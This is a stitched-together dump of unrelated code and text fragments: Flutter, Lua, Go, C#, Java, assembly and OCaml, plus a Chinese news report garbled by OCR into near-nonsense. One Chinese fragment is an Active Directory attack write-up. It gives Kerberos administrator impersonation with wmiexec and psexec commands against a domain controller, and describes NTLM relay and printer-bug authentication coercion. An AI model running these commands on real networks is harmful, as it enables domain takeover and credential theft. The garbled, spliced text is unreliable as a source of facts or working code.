        photoUrl: user?.photoURL,
        phoneNumber: user?.phoneNumber,
      );

  @override
  Future? delete() => user?.delete();

  @override
  Future? updateEmail(String email) async {
    try {
      await user?.updateEmail(email);
    } catch (_) {
      await user?.verifyBeforeUpdateEmail(email);
    }
  }

  @override
  Future? updatePassword(String newPassword) async {
    await user?.updatePassword(newPassword);
  }

  @override
  Future? sendEmailVerification() => user?.sendEmailVerification();

  @override
  bool get emailVerified {
    // Reloads the user when checking in order to get the most up to date
    // email verified status.
    if (loggedIn && !user!.emailVerified) {
      refreshUser();
    }
    return user?.emailVerified ?? false;
  }

  @override
  Future refreshUser() async {
    await FirebaseAuth.instance.currentUser
        ?.reload()
        .then((_) => user = FirebaseAuth.instance.currentUser);
  }

  static BaseAuthUser fromUserCredential(UserCredential userCredential) =>
      fromFirebaseUser(userCredential.user);
  static BaseAuthUser fromFirebaseUser(User? user) =>
      FfSourceCodeFirebaseUser(user);
}

Stream<BaseAuthUser> ffSourceCodeFirebaseUserStream() => FirebaseAuth.instance
        .authStateChanges()
        .debounce((user) => user == null && !loggedIn
            ? TimerStream(true, const Duration(seconds: 1))
            : Stream.value(user))
        .map<BaseAuthUser>(
      (user) {
        currentUser = FfSourceCodeFirebaseUser(user);
        return currentUser!;
      },
    );
import 'dart:convert';
import 'dart:typed_data';
import 'package:flutter/foundation.dart';

import '/flutter_flow/flutter_flow_util.dart';
import 'api_manager.dart';

export 'api_manager.dart' show ApiCallResponse;

const _kPrivateApiFunctionName = 'ffPrivateApiCall';

class DemoApiCallCall {
  static Future<ApiCallResponse> call({
    String? url = 'https://example.com',
  }) async {
    return ApiManager.instance.makeApiCall(
      callName: 'demo api call',
      apiUrl: '${url}',
      callType: ApiCallType.GET,
      headers: {},
      params: {},
      returnBody: true,
      encodeBodyUtf8: false,
      decodeUtf8: false,
      cache: false,
      isStreamingApi: false,
      alwaysAllowBody: false,
    );
  }
}

class ApiPagingParams {
  int nextPageNumber = 0;
  int numItems = 0;
  dynamic la


_event('gukg', Event.signal, 259124, Bidip_Signal);
  eq.register_npc_event('gukg', Event.signal, 259128, Evoker_Signal);
  eq.register_npc_event('gukg', Event.signal, 259039, Warrior_Signal);
  eq.register_npc_event('gukg', Event.signal, 259040, Warrior_Signal);
  eq.register_npc_event('gukg', Event.hp, 259135, Cursed_Hp);
  eq.register_npc_event('gukg', Event.spawn, 259135, Pop_Cursed);
  eq.register_npc_event('gukg', Event.combat,         259054, Flavor_Combat);
  eq.register_npc_event('gukg', Event.combat,         259126, Text1_Combat);
  eq.register_npc_event('gukg', Event.combat,         259127, Text2_Combat);
  eq.register_npc_event('gukg', Event.combat,         259130, Text3_Combat);
  eq.register_npc_event('gukg', Event.combat,         259131, Text4_Combat);
  eq.register_npc_event('gukg', Event.combat,         259132, Text5_Combat);
  eq.register_npc_event('gukg', Event.combat,         259133, Text6_Combat);
  eq.register_npc_even


向', builder: _buildTextIconHorizontalLoading),
          ExampleItem(desc: '图标加文字竖向', builder: _buildTextIconVerticalLoading),
          ExampleItem(desc: '纯文字', builder: _buildPureTextLoading),
        ]),
        ExampleModule(title: '组件尺寸', children: [
          ExampleItem(desc: '大尺寸', builder: _buildLargeLoading),
          ExampleItem(desc: '中尺寸', builder: _buildMediumLoading),
          ExampleItem(desc: '小尺寸', builder: _buildSmallLoading),
        ]),
        ExampleModule(title: '加载速度', children: [
          ExampleItem(desc: '调整加载速度', builder: _buildCustomSpeedLoading),
        ]),
      ],
      test: [
        ExampleItem(
            desc: '带图标的失败横向Loading',
            ignoreCode: true,
            builder: (_) {
              return Padding(
                padding: const EdgeInsets.all(16),
                child: TDLoading(
                  icon: TDLoadingIcon.circle,
                  size: TDLoadingSize.small,
                  axis: Axis.horizontal,
                  text: '加载失败',
                  refreshWidget: GestureDetector(
                    child: TDText(
                      '刷新',
                      font: TDTheme.of(context).fontBodySmall,
                      textColor: TDTheme.of(context).brandNormalColor,
                    ),
                    onTap: () {
                      TDToast.showText('刷新', context: context);
                    },
                  ),
                ),
              );
            }),
        ExampleItem(
            desc: '带图标的失败竖向Loading',
            ignoreCode: true,
            builder: (_) {
              return Container(
                padding: const EdgeInsets.all(16),
                child: TDLoading(
                  icon: TDLoadingIcon.circle,
                  size: TDLoadingSize.small,
                  text: '加载失败',
                  refreshWidget: GestureDetector(
                    child: TDText(
                      '刷新',
                      font: TDTheme.of(context).fontBodySmall,
                      textColor: TDTheme.of(context).brandNormalColor,
                    ),
                    onTap: () {
                      TDToast.showText('刷新', context: context);
                    },
                  ),
                ),
              );
            }),
        ExampleItem(
            desc: '验证居中问题',
            ignoreCode: true,
            builder: (_) {
              return const Row(
                  // spacing: 36,
                  mainAxisAlignment: MainAxisAlignment.center,
                  children: [
                    TDLoading(
                      size: TDLoadingSize.large,
                      icon: TDLoadingIcon.circle,
                      text: '加载中…',
                      axis: Axis.vertical,
                    ),
                    SizedBox(width: 36),
                    TDLoading(
                      size: TDLoadingSize.large,
                      icon: TDLoadingIcon.activity,
                      text: '加载中…',
                      axis: Axis.vertical,
                    ),
                  ]);
            }),
        ExampleItem(
            desc: '展示/隐藏Loading',
            ignoreCode: true,
            builder: (_) {
              return Row(
                // spacing: 36,
                mainAxisAlignment: MainAxisAlignment.center,
                children: [
                  TDButton(
                    text: '展示Loading',
                    theme: TDButtonTheme.primary,
                    onTap: (


�部委领导和证建省领导还鸯加了现场怕树活动并深人农村慰问围户。

中宣帝田长申维区在启动议式上说，文化科技卫生”三下多”活式开展万年来.馆路坚特为农民群众办实事，动好事，在促选农村经济社会发展.询足农民群众物质文化活求等方面，党年广积低作用，店为全国上下非常关主，基层件众一分欢迎的惠民活动。实现全面达威小业社会的空伴目标，最电巨最常重的

此次"三下乡”活动中，中宜部、科技部司法部，农业部、文化部、卫生部，国家人口计生委和中国科动等系个部门,向平潭捐赠了总价值近：0万元的脱问金及实物，项目，王带菜中央联师歌剧院艺术家的专场演出.组识专家开展形势政策，农业技术，科技产及，

十七届五中全会精神宣讲，科技“大链车”，国疗支设，书写轻联，发放药品.提供法律，农业，计生咨的·…平潭县一中据场上， 来自宣传：科技，卫生，计生、空业，司法等效十个部门的专事席天”摆莱设点”.要引了来

## [侧记J

## 这个冬日暖人心

整齐齐地坐满从四面心方赶来的多亲.有带着老大等的、有带者一两岁小店的.还有1青法人的.老人门球着限关司可.心范们英在得东奔西跑.恋人门亲密地羽玛低语。启动设式现场多亲门登得就人，来自北克中省，市的演员门访话认4，专业的文艺道出.让多东门大开眼界。不时响起阵防常声，“大唯得干到这叠好的就了，真希望以后能经常看到。

## ■■本拟記奢 耍茂楷

激情罗获震天响.欢快歌曲尽情唱。12月24日上午.祖建平津京合实盈区第一中学国场热闲非凡.2011年全国”三下多活动启动设式后，文艺汇演，专家咨询，植树活动，影同等一系到活动相维开展开。

*地们唱得真好听.跟电视里的一模一样。”“演员太漂亮了，像仙女一般。一中凿场上括起了临时的露天舞台，合下整

*要对症下药,不要见药就用。 “要交


Alpha(125);
          },
        ),
      ),
      titlesData: const FlTitlesData(
        bottomTitles: AxisTitles(sideTitles: SideTitles(showTitles: false)),
        leftTitles: AxisTitles(sideTitles: SideTitles(showTitles: false)),
        topTitles: AxisTitles(sideTitles: SideTitles(showTitles: false)),
        rightTitles: AxisTitles(sideTitles: SideTitles(showTitles: false)),
      ),
      borderData: FlBorderData(show: false),
      minX: 0,
      maxX: 5,
      minY: minY,
      maxY: maxY,
      lineBarsData: [
        for (int i = 0; i < spots.length; i++)
          LineChartBarData(
            spots: spots[i],
            isCurved: true,
            curveSmoothness: curveSmoothness,
            gradient: lineGradients[i],
            barWidth: 3,
            isStrokeCapRound: true,
            dotData: const FlDotData(show: false),
            belowBarData: BarAreaData(
              show: true,
              gradient: LinearGradient(
                colors: [
                  lineGradients[i].colors.first.withAlpha(75),
                  lineGradients[i].colors.last.withAlpha(0),
                ],
                begin: Alignment.topCenter,
                end: Alignment.bottomCenter,
              ),
            ),
          ),
      ],
    );
  }

  Widget _buildLegend(Color actualColor, Color commandedColor) {
    return Container(
      padding: const EdgeInsets.all(4),
      decoration: BoxDecoration(
        color: Colors.black.withAlpha(150),
        borderRadius: BorderRadius.circular(4),
      ),
      child: Row(
        mainAxisSize: MainAxisSize.min,
        children: [
          _buildLegendItem('Actual', actualColor),
          const SizedBox(width: 8),
          _buildLegendItem('Commanded', commandedColor),
        ],
      ),
    );
  }

  Widget _buildLegendItem(String label, Color color) {
    return Row(
      mainAxisSize: MainAxisSize.min,
      children: [
        Container(
          width: 12,
          height: 12,
          decoration: BoxDecoration(
            color: color,
            shape: BoxShape.circle,
          ),
        ),
        const SizedBox(width: 4),
        Text(
          label,
          style: const TextStyle(color: Colors.white, fontSize: 12),
        ),
      ],
    );
  }
}

class TelemetryPainter extends CustomPainter {
  final FieldImage fieldImage;
  final Size robotSize;
  final Translation2d bumperOffset;
  final Pose2d? currentPose;
  final Pose2d? targetPose;
  final List<Pose2d>? currentPath;
  final ColorScheme colorScheme;
  final List<Feature> robotFeatures;

  static double scale = 1;

  const TelemetryPainter({
    required this.fieldImage,
    required this.robotSize,
    required this.bumperOffset,
    this.currentPose,
    this.targetPose,
    this.currentPath,
    required this.colorScheme,
    required this.robotFeatures,
  });

  @override
  void paint(Canvas canvas, Size size) {
    scale = size.width / fieldImage.defaultSize.width;

    if (currentPath != null) {
      Paint p = Paint()
        ..color = colorScheme.secondary
        ..style = PaintingStyle.stroke
        ..strokeWidth = 2;

      Path path = Path();
      for (int i = 0; i < currentPath!.length; i++) {
        Offset offset = PathPainterUtil.pointToPixelOffset(
            currentPath![i].translation, scale, fieldImage);
        if (i == 0) {
          path.moveTo(offset.dx, offset.dy);
        } else {
          path.lineTo(offset.dx, offset.dy);
        }
      }

      canvas.drawPath(path, p);
    }

    if


dFormatter("%(filename)s", "")
	require.Equal(t,
		WithLineFeed(testRecord.FileName), formatter.Format(testRecord))
}

func TestFormat_LineNo(t *testing.T) {
	formatter := NewStandardFormatter("%(lineno)d", "")
	lineNo := WithLineFeed(fmt.Sprintf("%d", testRecord.LineNo))
	require.Equal(t, lineNo, formatter.Format(testRecord))
}

func TestFormat_FuncName(t *testing.T) {
	formatter := NewStandardFormatter("%(funcname)s", "")
	require.Equal(t,
		WithLineFeed(testRecord.FuncName), formatter.Format(testRecord))
}

func TestFormat_Created(t *testing.T) {
	formatter := NewStandardFormatter("%(created)d", "")
	created := WithLineFeed(
		fmt.Sprintf("%d", testRecord.CreatedTime.UnixNano()))
	require.Equal(t, created, formatter.Format(testRecord))
}

func TestFormat_AscTime(t *testing.T) {
	formatter := NewStandardFormatter("%(asctime)s", defaultDateFormat)
	testRecord.AscTime = formatter.FormatTime(testRecord)
	require.Equal(t,
		WithLineFeed(testRecord.AscTime), formatter.Format(testRecord))
}

func TestFormat_Message(t *testing.T) {
	formatter := defaultFormatter
	require.Equal(t,
		WithLineFeed(testRecord.GetMessage()), formatter.Format(testRecord))
}
package logging

import (
	"fmt"
	"time"
)

// A LogRecord instance represents an event being logged.
// LogRecord instances are created every time something is logged. They
// contain all the information pertinent to the event being logged. The
// main information passed in is in Message and Args, which are combined
// using fmt.Sprintf() or fmt.Sprint(), depending on value of UseFormat flag,
// to create the message field of the record. The record also includes
// information such as when the record was created, the source line where
// the logging call was made, and any exception information to be logged.
type LogRecord struct {
	CreatedTime time.Time
	AscTime     string
	Name        string
	Level       LogLevelType
	PathName    string
	FileName    string
	LineNo      uint32
	FuncName    string
	Format      string
	UseFormat   bool
	Args        []interface{}
	Message     string
}

// Initialize a logging record with interesting information.
func NewLogRecord(
	name string,
	level LogLevelType,
	pathName string,
	fileName string,
	lineNo uint32,
	funcName string,
	format string,
	useFormat bool,
	args []interface{}) *LogRecord {

	return &LogRecord{
		CreatedTime: time.Now(),
		Name:        name,
		Level:       level,
		PathName:    pathName,
		FileName:    fileName,
		LineNo:      lineNo,
		FuncName:    funcName,
		Format:      format,
		UseFormat:   useFormat,
		Args:        args,
		Message:     "",
	}
}

// Return the string representation for this LogRecord.
func (self *LogRecord) String() string {
	return fmt.Sprintf("<LogRecord: %s, %s, %s, %d, \"%s\">",
		self.Name


vate LevelMapping m_levelMapping = new LevelMapping();

		public MessageBoxAppender()
		{
		}

		public void AddMapping(LevelIcon mapping)
		{
			m_levelMapping.Add(mapping);
		}

		public PatternLayout TitleLayout
		{
			get { return m_titleLayout; }
			set { m_titleLayout = value; }
		}

		override protected void Append(LoggingEvent loggingEvent)
		{
			MessageBoxIcon messageBoxIcon = MessageBoxIcon.Information;

			LevelIcon levelIcon = m_levelMapping.Lookup(loggingEvent.Level) as LevelIcon;
			if (levelIcon != null)
			{
				// Prepend the Ansi Color code
				messageBoxIcon = levelIcon.Icon;
			}

			string message = RenderLoggingEvent(loggingEvent);

			string title = null;
			if (m_titleLayout == null)
			{
				title = "LoggingEvent: "+loggingEvent.Level.Name;
			}
			else
			{
				StringWriter titleWriter = new StringWriter(System.Globalization.CultureInfo.InvariantCulture);
				m_titleLayout.Format(titleWriter, loggingEvent);
				title = titleWriter.ToString();
			}

			MessageBox.Show(message, title, MessageBoxButtons.OK, messageBoxIcon);
		}

		public override void ActivateOptions()
		{
			base.ActivateOptions();
			m_levelMapping.ActivateOptions();
		}

		public class LevelIcon : LevelMappingEntry
		{
			private MessageBoxIcon m_icon;

			public MessageBoxIcon Icon
			{
				get { return m_icon; }
				set { m_icon = value; }
			}
		}
	}
}


经常遵守第一条规则，但是永远不要将数据结构和代码库紧密结合也非常重要。始终遵守最佳的抽象和分离实践，绝不使用 API 的子集来传递函数或类。

### 规则 2：确保数据结构不可变

考虑像合同或担保这样的数据结构。在调节器模式的上下文中，实际和期望的结构在运行时设置在内存中。这保证了在调节之前结构是准确的。在协调基础架构的过程中，如果结构发生变化，则必须创建一个具有相同保证的新结构。明智的基础架构应用程序将强制数据结构的不变性，即使工程师试图改变数据结构，它也不会工作，或者程序会出错（甚至可能会编译不过）。

基础架构应用程序的核心组件是将表示映射到一组资源的能力。资源是需要运行以满足基础架构要求的单个任务。这些任务中的每一个都将负责以某种方式更改基础架构。

部署新虚拟机是基本示例，设置新网络或配置现有虚拟机。这些工作单元中的每一个都将被称为资源。每个数据结构都应映射到一定数量的资源。应用程序负责推理结构并创建资源集。图 4-1 中显示了 API 映射到单个资源的示例。

![图 4-1. 将结构映射到资源的图表](../images/f-4-1.jpg "图4-1. 将结构映射到资源的图表")

调节器模式演示了一种处理数据结构的稳定方法，因为它会改变资源。由于调节器模式需要比较资源状态，所以数据结构必须是不可变的。这意味着无论何时需要更新数据结构，都必须创建新的数据结构。

注意基础架构的变化。每次发生突变时，实际的数据结构都是陈旧的。一个聪明的基础架构应用程序将意识到这个问题并相应地处理它。

一种简单的解决方案是在发生突变时更新内存中的数据结构。如果每次突变都更新实际状态，则可以观察调节过程，因为实际状态会随时间经历一系列更改，直到最终匹配预期状态并且调节完成。

### 规则 3：保持资源映射简单

在调节者的幕后，这个模式就是一个实现。一个实现只是一组代码，具有创建、修改和删除基础结构的方法。一个程序可能有很多实现。

每个实现最终都需要将数据结构映射到一组资源。这组资源需要按逻辑方式组合在一起，


f,0x95,0x44]
// CHECK-ERROR: instruction requires: sve2 or sme
// CHECK-UNKNOWN: 44959fdd <unknown>

urhadd z31.d, p7/m, z31.d, z30.d
// CHECK-INST: urhadd z31.d, p7/m, z31.d, z30.d
// CHECK-ENCODING: [0xdf,0x9f,0xd5,0x44]
// CHECK-ERROR: instruction requires: sve2 or sme
// CHECK-UNKNOWN: 44d59fdf <unknown>

// --------------------------------------------------------------------------//
// Test compatibility with MOVPRFX instruction.

movprfx z31.d, p0/z, z6.d
// CHECK-INST: movprfx z31.d, p0/z, z6.d
// CHECK-ENCODING: [0xdf,0x20,0xd0,0x04]
// CHECK-ERROR: instruction requires: sve or sme
// CHECK-UNKNOWN: 04d020df <unknown>

urhadd z31.d, p0/m, z31.d, z30.d
// CHECK-INST: urhadd z31.d, p0/m, z31.d, z30.d
// CHECK-ENCODING: [0xdf,0x83,0xd5,0x44]
// CHECK-ERROR: instruction requires: sve2 or sme
// CHECK-UNKNOWN: 44d583df <unknown>

movprfx z31, z6
// CHECK-INST: movprfx z31, z6
// CHECK-ENCODING: [0xdf,0xbc,0x20,0x04]
// CHECK-ERROR: instruction requires: sve or sme
// CHECK-UNKNOWN: 0420bcdf <unknown>

urhadd z31.d, p7/m, z31.d, z30.d
// CHECK-INST: urhadd z31.d, p7/m, z31.d, z30.d
// CHECK-ENCODING: [0xdf,0x9f,0xd5,0x44]
// CHECK-ERROR: instruction requires: sve2 or sme
// CHECK-UNKNOWN: 44d59fdf <unknown>


 c_x, c_y, world2cam);
        result.emplace_back(CameraConfig{std::stoi(elements[0]), elements[9], static_cast<int>(w), static_cast<int>(h), camera});
    }

    file.close();

    return result;
}

void ReadSparsePointCloud(const std::string& points3D_txt, float scale, float max_reprojection_error, unsigned int min_track_length,
                          std::vector<glm::vec3>& point_cloud, std::vector<std::vector<int>>& visibility)
{
    std::ifstream file(points3D_txt);
    std::string line;
    while (std::getline(file, line))
    {
        const auto& elements = SplitByChar(line, ' ');
        if (elements[0] == std::string("#"))
        {
            continue;
        }
        const auto reproj_err = std::stof(elements[7]);
        if (reproj_err <= max_reprojection_error)
        {
            std::vector<int> point_visibility{};
            for (auto it(elements.cbegin() + 8); it < elements.end();)
            {
                point_visibility.emplace_back(std::stoi(*it));
                it = it + 2;
            }
            if (point_visibility.size() >= min_track_length)
            {
                point_cloud.emplace_back(glm::vec3{scale * std::stof(elements[1]), scale * std::stof(elements[2]), scale * std::stof(elements[3])});
                visibility.emplace_back(point_visibility);
            }
        }
    }
}
//
//   Copyright (C) 2009 by sinamas <sinamas at users.sourceforge.net>
//
//   This program is free software; you can redistribute it and/or modify
//   it under the terms of the GNU General Public License version 2 as
//   published by the Free Software Foundation.
//
//   This program is distributed in the hope that it will be useful,
//   but WITHOUT ANY WARRANTY; without even the implied warranty of
//   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
//   GNU General Public License version 2 for more details.
//
//   You should have received a copy of the GNU General Public License
//   version 2 along with this program; if not, write to the
//   Free Software Foundation, Inc.,
//   59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
//

#include "blitterwrapper.h"
#include "videolink/rgb32conv.h"
#include "videolink/vfilterinfo.h"
#include "videolink/videolink.h"

BlitterWrapper::BlitterWrapper(VfilterInfo const &vfinfo, int scale, bool yuv, bool full)
: blitter_(vfinfo.outWidth, vfinfo.outHeight, scale, yuv, full)
, cconvert_(Rgb32Conv::create(static_cast<Rgb32Conv::PixelFormat>(blitter_.inBuffer().format),
                              vfinfo.outWidth, vfinfo.outHeight))
, vfilter_(vfinfo.create())
{
}

BlitterWrapper::~BlitterWrapper() {
}

BlitterWrapper::Buf BlitterWrapper::inBuf() const {
	Buf buf;
	if (VideoLink *const gblink = vfilter_ ? vfilter_.get() : cconvert_.get()) {
		buf.pixels = static_cast<gambatte::uint_least32_t *>(gblink->inBuf());
		buf.pitch  = gblink->inPitch();
	} else {
		SdlBlitter::PixelBuffer const &pxbuf = blitter_.inBuffer();
		buf.pixels = static_cast<gambatte::uint_least32_t *>(pxbuf.pixels);
		buf.pitch = pxbuf.pitch;
	}

	return buf;
}

void BlitterWrapper::draw() {
	Sdl


rent interface of the interface (The original underlying C interface).
g_type_interface_peek(G_OBJECT_GET_CLASS(gobject_), CppObjectType::get_type()) // Get the interface.
)  );

  if(base && base->paste_text)
  {
    (*base->paste_text)(gobj(),position);
  }
}

} // namespace Atk

#include "ESPWebDAV.h"

// Sections are copied from ESP8266Webserver

// ------------------------
String ESPWebDAV::getMimeType(String path) {
// ------------------------
	if(path.endsWith(".html")) return "text/html";
	else if(path.endsWith(".htm")) return "text/html";
	else if(path.endsWith(".css")) return "text/css";
	else if(path.endsWith(".txt")) return "text/plain";
	else if(path.endsWith(".js")) return "application/javascript";
	else if(path.endsWith(".json")) return "application/json";
	else if(path.endsWith(".png")) return "image/png";
	else if(path.endsWith(".gif")) return "image/gif";
	else if(path.endsWith(".jpg")) return "image/jpeg";
	else if(path.endsWith(".ico")) return "image/x-icon";
	else if(path.endsWith(".svg")) return "image/svg+xml";
	else if(path.endsWith(".ttf")) return "application/x-font-ttf";
	else if(path.endsWith(".otf")) return "application/x-font-opentype";
	else if(path.endsWith(".woff")) return "application/font-woff";
	else if(path.endsWith(".woff2")) return "application/font-woff2";
	else if(path.endsWith(".eot")) return "application/vnd.ms-fontobject";
	else if(path.endsWith(".sfnt")) return "application/font-sfnt";
	else if(path.endsWith(".xml")) return "text/xml";
	else if(path.endsWith(".pdf")) return "application/pdf";
	else if(path.endsWith(".zip")) return "application/zip";
	else if(path.endsWith(".gz")) return "application/x-gzip";
	else if(path.endsWith(".appcache")) return "text/cache-manifest";

	return "application/octet-stream";
}

// ------------------------
String ESPWebDAV::urlDecode(const String& text)	{
// ------------------------
	String decoded = "";
	char temp[] = "0x00";
	unsigned int len = text.length();
	unsigned int i = 0;
	while (i < len)	{
		char decodedChar;
		char encodedChar = text.charAt(i++);
		if ((encodedChar == '%') && (i + 1 < len))	{
			temp[2] = text.charAt(i++);
			temp[3] = text.charAt(i++);
			decodedChar = strtol(temp, NULL, 16);
		}
		else {
			if (encodedChar == '+')
				decodedChar = ' ';
			else
				decodedChar = encodedChar;  // normal ascii char
		}
		decoded += decodedChar;
	}
	return decoded;
}

// ------------------------
String ESPWebDAV::urlToUri(String url)	{
// ------------------------
	if(url.startsWith("http://"))	{
		int uriStart = url.indexOf('/', 7);
		return url.substring(uriStart);
	}
	else
		return url;
}

// ------------------------
bool ESPWebDAV::isClientWaiting() {
// ------------------------
	return server->hasClient();
}

// ------------------------
void ESPWebDAV::handleClient(String blank) {
// ------------------------
	processClient(&ESPWebDAV::handleRequest, blank);
}

// ------------------------
void ESPWebDAV::rejectClient(String rejectMessage) {
// ------------------------
	processClient(&ESP


eUtils.putByte(pageAddr, off, (byte)val.getValueType());
        PageUtils.putLong(pageAddr, off + 1, ((ValueUuid)val).getHigh());
        PageUtils.putLong(pageAddr, off + 9, ((ValueUuid)val).getLow());

        return size() + 1;
    }

    /** {@inheritDoc} */
    @Override protected Value get0(long pageAddr, int off) {
        return ValueUuid.get(
            PageUtils.getLong(pageAddr, off + 1),
            PageUtils.getLong(pageAddr, off + 9)
        );
    }

    /** {@inheritDoc} */
    @Override protected int inlineSizeOf0(Value val) {
        assert val.getType().getValueType() == type();

        return size() + 1;
    }
}
/*
 * Copyright 2019 GridGain Systems, Inc. and Contributors.
 *
 * Licensed under the GridGain Community Edition License (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     https://www.gridgain.com/products/software/community-edition/gridgain-community-edition-license
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

package org.apache.ignite.internal.processors.query.h2.database.inlinecolumn;

import org.apache.ignite.internal.pagemem.PageUtils;
import org.gridgain.internal.h2.table.Column;
import org.gridgain.internal.h2.value.Value;
import org.gridgain.internal.h2.value.ValueInt;

/**
 * Inline index column implementation for inlining hash of Java objects.
 */
public class ObjectHashInlineIndexColumn extends AbstractInlineIndexColumn {
    /**
     * @param col Column.
     */
    public ObjectHashInlineIndexColumn(Column col) {
        super(col, Value.JAVA_OBJECT, (short)4);
    }

    /** {@inheritDoc} */
    @Override protected int compare0(long pageAddr, int off, Value v, int type) {
        // Exact type matching is required here to avoid cases when SQL types compare with JAVA_OBJECT.
        // It may be a cause of unexpected behavior.
        if (type() != type || type != v.getValueType())
            return CANT_BE_COMPARE;

        int val1 = PageUtils.getInt(pageAddr, off + 1);
        int val2 = v.getObject().hashCode();

        int res = Integer.signum(Integer.compare(val1, val2));

        return res == 0 ? CANT_BE_COMPARE : res;
    }

    /** {@inheritDoc} */
    @Override protected int put0(long pageAddr, int off, Value val, int maxSize) {
        assert type() == val.getValueType();

        PageUtils.putByte(pageAddr, off, (byte)val.getValueType());
        PageUtils.putInt(pageAddr, off + 1, val.getObject().hashCode());

        return size() + 1;
    }

    /** {@inheritDoc} */
    @Override protected Value get0(long pageAddr, int off) {
        return null;
    }

    /**
     * Used for test purpose only.
     *
     * @param pageAddr Address of the page.
     * @param off Offset of the record.
     * @return Actual hash value that has been inlined.
     */
    ValueInt inlinedValue(long pageAddr, int off) {
        return ValueInt.get(PageUtils.getInt(pageAddr, off + 1));
    }

    /** {@inheritDoc} */
    @Override protected int inlineSizeOf0(Value val) {
        assert val.getType().getValueType() == type();

        return size() + 1;
    }
}
/*
 * Copyright 2019 GridGain Systems, Inc. and Contributors


a">-impersonate administrator

set KRB5CCNAME=administrator.ccache
wmiexec.exe PDC.org.gm7 -no-pass -k -dc-ip 172.16.93.15
psexec.exe -k org.gm7/administrator@PDC.org.gm7 -no-pass

其他说明

ntlm-relay不能将ntlm认证relay回原机器，因为微软在ms08-068中对smb reflect到 smb 做了限制。例如截取到exchange主机的ntlm-hash，可以将其relay到域内其他主机上进行rce攻击，但不能将其relay回exchange主机进行命令执行。

强制触发认证的方式

172.16.93.17为攻击者监听的机器，172.16.93.2为域内的正常机器，172.16.93.15为域控。

强制触发都使用的是被攻击机器的机器账户去发送的请求！

打印机BUG

在非约束委派获取TGT和上面都是使用的打印机BUG来进行强制认证。

拥有一个域用户凭据信息且打印服务开启的情况下，通过触发 SpoolService 错误，强制目标通过 MS-RPRN RPC 接口向攻击者进行身份验证。
MS-RPRN 协议中定义的 RpcRemoteFindFirstPrinterChangeNotificationEx() 方法允许域用户创建远程更改通知对象，该对象用于监视打印机对象的更改，并且在发生修改后会向打印客户端发送更改通知，这里的打印客户端指的就是攻击者的主机，用于接收目标发送的更改通知（NTLM �


**********************************************************
 */

class	ClipCountChecker : public PeriodicTask {
	public:
		ClipCountChecker (ClipBoardWindow& aClipWindow):
			fClipWindow (aClipWindow)
			{
#if		qSunCFront_OverloadingConfusionBug
				SetPeriodicity ((BigReal)0.5);			// check for change about every 1/2 second
#else
				SetPeriodicity (0.5);					// check for change about every 1/2 second
#endif
			}
		override	void	RunABit ()
			{
				Require (fClipWindow.GetVisible ());
				fClipWindow.CheckClipState ();
			}
	private:
		ClipBoardWindow&	fClipWindow;
};

class	PictView : public View {
	public:
		PictView (const Picture& picture):
			View (),
			fPicture (picture)
			{
			}
		nonvirtual	void	SetPicture (const Picture& picture, UpdateMode updateMode = eDelayedUpdate)
			{
				fPicture = picture;
				SetSize (picture.GetFrame ().GetSize (), updateMode);
				Refresh (updateMode);		// not quite right rect...
			}
		override	void	Draw (const Region& update)
			{
				/*
				 * Only show the picture, not any surrounding whitespace.
				 */
				DrawPicture (fPicture, Rect (kZeroPoint, fPicture.GetFrame ().GetSize ()));
				View::Draw (update);
			}
	private:
		Picture		fPicture;
};

ClipBoardWindow::ClipBoardWindow () :
	Window (),
    fScroller (Nil),
	fClipCountChecker (Nil),
	fPictView (Nil),
	fLastScrapChangeCount (ClipBoard::Get ().GetScrapChangeCount ()-1)
{
	WindowShellHints hints = GetShell ().GetWindowShellHints ();
	hints.SetDesiredSize (Point (100, 400), False);
	hints.SetTitle ("ClipBoard");
	GetShell ().SetWindowShellHints (hints);

	fScroller = new Scroller ();
	SetMainViewAndTargets (fScroller, fScroller, fScroller);
	fClipCountChecker = new ClipCountChecker (*this);

	fPictView = new PictView (Picture ());
	fScroller->SetScrolledViewAndTargets (fPictView, Nil, Nil);
}

ClipBoardWindow::~ClipBoardWindow ()
{
	SetMainViewAndTargets (Nil, Nil, Nil);

	if (GetVisible ()) {
		EventManager::Get ().RemoveIdleTask (fClipCountChecker);
	}
	delete (fClipCountChecker);
}

void	ClipBoardWindow::EffectiveVisibilityChanged (Boolean newVisible, Panel::UpdateMode updateMode)
{
	/*
	 * Either add or remove our idle task depending on whether or not were visible. Also, check the
	 * system clip now (before any update events display old clip) for changes. Note that this
	 * code depends on newVisible REALLY being different than "oldVisible".
	 */
	if (newVisible) {
		CheckClipState ();		// be sure contents up-to-date before window made visible
		EventManager::Get ().AddIdleTask (fClipCountChecker);
	}
	else {
		EventManager::Get ().RemoveIdleTask (fClipCountChecker);
	}
	Window::EffectiveVisibilityChanged (newVisible, updateMode);
}

void	ClipBoardWindow::CheckClipState ()
{
	if (ClipBoard::Get ().GetScrapChangeCount () != fLastScrapChangeCount) {
		AssertNotNil (fPictView);
		fPictView->SetPicture (ClipBoard::Get ().RenderAsPicture ());

// This part is a pain - with virtual base classes, it could be made to go away by forceing
// you to put a Scrolled


s obtenues � la valeur finale
	paddw %mm1, %mm0
	paddw %mm2, %mm0

	;// division par 256 = 16+16+16+16, puis repackage du pixel final
	psrlw $8, %mm0
	packuswb %mm7, %mm0

	;// passage au suivant

	;// enregistrement du resultat
	movl expix2,%eax
/*	movd %mm0,(%eax,%ecx,4)*/

	decl %ecx
	;// test de fin du tantque
	cmpl $0, %ecx				;// 400x300

	jz .fin_while
	jmp .while

.fin_while:
	emms

	movl %ebp,%esp
	popl %ebp

	ret                  ;//The End


type t

val add : t -> t -> t

val zero : t

val multiply : t -> t -> t

val one : t

val subtract : t -> t -> t

val reciprocal : t -> t

<!DOCTYPE html>
<title>2-E (bastet.Bastet__Test.Int.M.Compare.Quasigroup.2-E)</title><link rel="stylesheet" href="../../../../../../../odoc.css"/><meta charset="utf-8"/><meta name="generator" content="odoc 1.5.2"/><meta name="viewport" content="width=device-width,initial-scale=1.0"/>
Up – bastet » Bastet__Test » Int » M » Compare » Quasigroup » 2-E
Parameter Quasigroup.2-E

type t = QG.t

<


btn' ng-click="newGame()">Start New Game</button>

<!DOCTYPE html>
